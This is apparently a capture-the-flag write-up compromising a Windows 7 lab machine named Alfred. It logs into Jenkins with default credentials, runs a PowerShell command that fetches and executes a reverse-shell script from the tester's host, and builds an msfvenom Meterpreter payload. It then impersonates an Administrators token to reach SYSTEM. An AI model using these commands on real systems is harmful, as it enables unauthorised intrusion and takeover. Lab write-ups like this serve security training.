Technology with Security
02 July 2020
Exploit Jenkins to gain an initial shell, then escalate the privileges by exploiting Windows authentication tokens.
The default page of the web server on port 80 is showing a image of Bruce Wyne and a donations email. But nothing else.
With the help on nmap, lets see what ports are open and services are running on the victim machine.
$ nmap -p- -A 10.10.86.199
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2020-07-02T21:47:32+00:00; 0s from scanner time.
8080/tcp open http Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Thought to brute force using different payloads, but while trying to capture the HTTP request, the admin:admin credentials worked.
After looking around the tool, for executing the command on the underlying machine, found it under project –> configure –> Build. As this is a Windows operating system, framed a powershell utility which can get executed and opens a reverse shell. For this,
python3 -m http.server
in the same directory. So the victim will be able to download the powershell code file.powershell iex (New-Object Net.WebClient).DownloadString('http://10.2.18.4:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.2.18.4 -Port 8001
nc -lnvp 8001
PS C:\Users\bruce\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ========================================= ========
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
C:\Users\bruce\Desktop\user.txt
as 79007a09481——–1321abd9ae2a0.For much convenience and to work on privilege escalation, lets get a Meterpreter shell.
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.2.18.4 LPORT=8002 -f exe -o shell.exe
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.2.18.4:8002
PS C:\Users\bruce\Desktop> powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.2.18.4:8000/shell.exe','shell.exe')"
PS C:\Users\bruce\Desktop> dir
Directory: C:\Users\bruce\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/2/2020 5:01 PM 73802 shell.exe
-a--- 10/25/2019 3:22 PM 32 user.txt
PS C:\Users\bruce\Desktop> Start-Process "shell.exe"
meterpreter > sysinfo
Computer : ALFRED
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
load incognito
module in meterpreter.list_tokens -g
and we can see the user has a delegation token of BUILTIN\Administrators.impersonate_token "BUILTIN\Administrators"
.getuid
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > dir
Listing: C:\Windows\system32\config
===================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:14 -0400 Journal
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:14 -0400 RegBack
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:14 -0400 TxR
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:14 -0400 systemprofile
1440 2848 shell.exe x86 0 alfred\bruce C:\Users\bruce\Desktop\shell.exe
meterpreter > ps
(ommitted other entries..)
668 580 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
meterpreter > migrate 668
[*] Migrating from 1440 to 668...
[*] Migration completed successfully.
meterpreter > ls -lrt
Listing: C:\Windows\system32\config
===================================